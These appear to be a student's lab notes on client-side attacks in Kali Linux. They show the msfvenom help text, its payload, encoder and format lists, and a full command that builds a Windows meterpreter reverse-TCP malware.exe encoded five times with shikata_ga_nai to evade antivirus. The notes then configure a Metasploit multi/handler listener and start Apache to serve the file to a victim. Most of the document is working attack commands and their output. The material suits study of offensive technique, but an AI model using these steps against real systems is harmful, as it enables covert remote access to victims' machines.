

ARYAMAN MISHRA

19BCE1027

Client Side attack

If system is somewhere in the network try create malware and send to victim as he processes it we get access to victim's system.

Malware -> in a file malware can be injected and sent.

MSFVnom

Payload is virus file created using MSFVENOM (msfpayload + msfencode).

It can create payloads and encodes.

```
(root@kali)~# msfvenom -b
Error: Missing required argument for option
Msfvenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--service-name <value> The service name to use when generating a service binary
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message
```

Lists displays different types of payloads

```
(root@kali)~# msfvenom --list payloads
Framework Payloads (592 total) [--payload <value>]

Name Description
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an established connection
aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP
android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager
android/meterpreter/reverse_http Connect back to attacker and spawn a Meterpreter shell
android/meterpreter/reverse_https Connect back to attacker and spawn a Meterpreter shell
android/meterpreter/reverse_tcp Connect back to the attacker and spawn a Meterpreter shell
android/shell/reverse_http Spawn a piped command shell (sh). Tunnel communication over HTTP
android/shell/reverse_https Spawn a piped command shell (sh). Tunnel communication over HTTPS
android/shell/reverse_tcp Spawn a piped command shell (sh). Connect back stager
apple_ios/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/shell_reverse_tcp Connect back to attacker and spawn a command shell
apple_ios/armle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
bsd/sparc/shell_bind_tcp Listen for a connection and spawn a command shell
bsd/sparc/shell_reverse_tcp Connect back to attacker and spawn a command shell
bsd/vax/shell_reverse_tcp Connect back to attacker and spawn a command shell
bsd/x64/exec Execute an arbitrary command
bsd/x64/shell_bind_ipv6 Listen for a connection and spawn a command shell over IPv6
bsd/x64/shell_bind_tcp Bind an arbitrary command to an arbitrary port
bsd/x64/shell_bind_tcp_small Listen for a connection and spawn a command shell
bsd/x64/shell_reverse_ipv6_tcp Connect back to attacker and spawn a command shell over IPv6
bsd/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell
bsd/x64/shell_reverse_tcp_small Connect back to attacker and spawn a command shell
bsd/x86/exec Execute an arbitrary command
bsd/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service
bsd/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service
bsd/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for a connection over IPv6
bsd/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection
bsd/x86/shell/find_port Spawn a command shell (staged). Use an established connection
bsd/x86/shell/find_tag Spawn a command shell (staged). Connect back to the attacker over IPv6
bsd/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to the attacker
bsd/x86/shell/reverse_tcp Listen for a connection and spawn a command shell
bsd/x86/shell_bind_ipv6 Listen for a connection and spawn a command shell over IPv6
bsd/x86/shell/find_port Spawn a shell on an established connection (proxy/nat safe)
bsd/x86/shell/find_tag Spawn a shell on an established connection (proxy/nat safe)
bsd/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
bsd/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6
bsd/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection
```

Reverse connection

When encode again & again more chances of bypassing antivirus.

Drawback – more iteration malware size becomes more (less likely to be downloaded).

-f specifies format

-o for output

We are trying to create a malware file in the root we can mention any location in exe.

```
windows/x64/pingback_reverse_tcp      Connect back to attacker and report UUID (Windows x64)
windows/x64/powershell_bind_tcp      Listen for a connection and spawn an interactive powershell session
windows/x64/powershell_reverse_tcp   Listen for a connection and spawn an interactive powershell session
windows/x64/shell/bind_ipv6_tcp       Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)
windows/x64/shell/bind_ipv6_tcp_uuid Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)
windows/x64/shell/bind_named_pipe     Spawn a piped command shell (Windows x64) (staged). Listen for a pipe connection (Windows x64)
windows/x64/shell/bind_tcp            Spawn a piped command shell (Windows x64) (staged). Listen for a connection (Windows x64)
windows/x64/shell/bind_tcp_rc4        Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker
windows/x64/shell/bind_tcp_uuid       Spawn a piped command shell (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)
windows/x64/shell/reverse_tcp         Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker (Windows x64)
windows/x64/shell/reverse_tcp_rc4     Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker
windows/x64/shell/reverse_tcp_uuid    Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)
windows/x64/shell_reverse_tcp         Listen for a connection and spawn a command shell (Windows x64)
windows/x64/vncinject/bind_ipv6_tcp   Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)
windows/x64/vncinject/bind_ipv6_tcp_uuid Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)
windows/x64/vncinject/bind_named_pipe Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a pipe connection (Windows x64)
windows/x64/vncinject/bind_tcp        Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a connection (Windows x64)
windows/x64/vncinject/bind_tcp_rc4    Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker
windows/x64/vncinject/bind_tcp_uuid   Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)
windows/x64/vncinject/reverse_http    Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 wininet)
windows/x64/vncinject/reverse_https   Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTPS (Windows x64 wininet)
windows/x64/vncinject/reverse_tcp     Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker (Windows x64)
windows/x64/vncinject/reverse_tcp_rc4 Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker
windows/x64/vncinject/reverse_tcp_uuid Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)
windows/x64/vncinject/reverse_winhttp Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 winhttp)
windows/x64/vncinject/reverse_winhttps Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTPS (Windows x64 winhttps)
```

From host malware to victim when downloaded we will be able to connect

Lhost listener host

Lpost listener post

Windows/meterpreter/Reverse_tcp- payload from the list

Windows/64/meterpreter/Reverse_tcp for 64 system

```
(root@kali)~# msfvenom --list encoders
Framework Encoders [--encoder <value>]
```

Name	Rank	Description
cmd/brace	low	Bash Brace Expansion Command Encoder
cmd/echo	good	Echo Command Encoder
cmd/generic_sh	manual	Generic Shell Variable Substitution Command Encoder
cmd/ifs	low	Bourne \${IFS} Substitution Command Encoder
cmd/perl	normal	Perl Command Encoder
cmd/powershell_base64	excellent	Powershell Base64 Command Encoder
cmd/printf_php_mq	manual	printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar	manual	The EICAR Encoder
generic/none	normal	The "none" Encoder
mipsbe/byte_xori	normal	Byte XORi Encoder
mipsbe/longxor	normal	XOR Encoder
mipsle/byte_xori	normal	Byte XORi Encoder
mipsle/longxor	normal	XOR Encoder
php/base64	great	PHP Base64 Encoder
ppc/longxor	normal	PPC LongXOR Encoder
ppc/longxor_tag	normal	PPC LongXOR Encoder
ruby/base64	great	Ruby Base64 Encoder
sparc/longxor_tag	normal	SPARC DWORD XOR Encoder
x64/xor	normal	XOR Encoder
x64/xor_context	normal	Hostname-based Context Keyed Payload Encoder
x64/xor_dynamic	normal	Dynamic key XOR Encoder
x64/zutto_dekiru	manual	Zutto Dekiru
x86/add_sub	manual	Add/Sub Encoder
x86/alpha_mixed	low	Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper	low	Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower	manual	Avoid underscore/tolower
x86/avoid_utf8_tolower	manual	Avoid UTF8/tolower
x86/bloxor	manual	BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot	manual	BMP Polyglot
x86/call4_dword_xor	normal	Call4 Dword XOR Encoder
x86/context_cpuid	manual	CPUID-based Context Keyed Payload Encoder
x86/context_stat	manual	stat(2)-based Context Keyed Payload Encoder
x86/context_time	manual	time(2)-based Context Keyed Payload Encoder
x86/countdown	normal	Single-byte XOR Countdown Encoder
x86/fnstenv_mov	normal	Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive	normal	Jump/Call XOR Additive Feedback Encoder
x86/nonalpha	low	Non-Alpha Encoder
x86/nonupper	low	Non-Uppercase Encoder
x86/opt_sub	manual	Sub Encoder (optimised)
x86/service	manual	Register Service
x86/shikata_ga_nai	excellent	Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit	manual	Single Static Bit
x86/unicode_mixed	manual	Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper	manual	Alpha2 Alphanumeric Unicode Uppercase Encoder

```
(root@kali)-[~]  
# msfvenom --list formats
```

Framework Executable Formats [--format <value>]

Name
asp
aspx
aspx-exe
axis2
dll
elf
elf-so
exe
exe-only
exe-service
exe-small
hta-psh
jar
jsp
loop-vbs
macho
msi
msi-nouac
osx-app
psh
psh-cmd
psh-net
psh-reflection
python-reflection
vba
vba-exe
vba-psh
vbs
war

Framework Transform Formats [--format <value>]

Name
base32
base64
bash
c
csharp
dw
dword
hex

```
(root@kali)-[~]  
# msfvenom --list platforms
```

Framework Platforms [--platform <value>]

Name

aix
android
apple_ios
arista
brocade
bsd
bsdi
cisco
firefox
freebsd
hardware
hpux
irix
java
javascript
juniper
linux
mainframe
mikrotik
multi
netbsd
netware
nodejs
openbsd
osx
php
python
r
ruby
solaris
unifi
unix
unknown
windows

To attack a windows machine this command we create listener host malware

Ip address used here is kali ip

Ip address used here is kali ip

```
[root@kali:~]# msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 --platform windows LHOSTS=192.168.29.89 LPORTS=4545 -e x86/shikata_ga_nai -i 5 -f exe -o /root/malware.exe
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 537 (iteration=0)
x86/shikata_ga_nai succeeded with size 564 (iteration=1)
x86/shikata_ga_nai succeeded with size 591 (iteration=2)
x86/shikata_ga_nai succeeded with size 618 (iteration=3)
x86/shikata_ga_nai succeeded with size 645 (iteration=4)
x86/shikata_ga_nai chosen with final size 645
Payload size: 645 bytes
Final size of exe file: 7168 bytes
Saved as: /root/malware.exe
```

Command to create malware

```
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 --platform windows
LHOST=192.168.42.132 LPORT=4545 -e x86/shikata_ga_nai -i 5 -f exe -o
/home/kali/malware.exe
```

Set the listener process

How will our system get access – for that we need to set how to set listener process.

Manual method to set listener

[illegible]

```
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show options
```

Module options (exploit/multi/handler):

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

Payload options (generic/shell_reverse_tcp):

Name	Current Setting	Required	Description
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Wildcard Target

```
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options
```

Module options (exploit/multi/handler):

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

Payload options (windows/x64/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	process	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Wildcard Target

```
msf6 exploit(multi/handler) > 
```



Give same lport which we used

```
msf6 exploit(multi/handler) > set LHOST 10.0.2.15
LHOST => 10.0.2.15
msf6 exploit(multi/handler) > set LPORT 4545
LPORT => 4545
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

  Name   Current Setting  Required  Description
  ---   -
  LHOST   10.0.2.15        yes       The listen address (an interface may be specified)
  LPORT   4545              yes       The listen port

Payload options (windows/x64/meterpreter/reverse_tcp):

  Name   Current Setting  Required  Description
  ---   -
  EXITFUNC process    yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST   10.0.2.15        yes       The listen address (an interface may be specified)
  LPORT   4545              yes       The listen port

Exploit target:

  Id  Name
  --  ---
  0    Wildcard Target

msf6 exploit(multi/handler) > 
```

Now after exploit command listener is set

```
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.2.15:4545
```

Send it through apache server

```
msf6 exploit(multi/handler) > exit

(root@kali)~# cd /home
(root@kali)~/home# cd /aryaman
cd: no such file or directory: /aryaman
(root@kali)~/home# cd /root
(root@kali)~# ls
Desktop  Documents  Downloads  malware.exe  Music  Pictures  Public  subnet_1.gnmap  subnet_1.nmap  subnet_1.xml  Templates  Videos

(root@kali)~# service apache2 start
(root@kali)~# 
```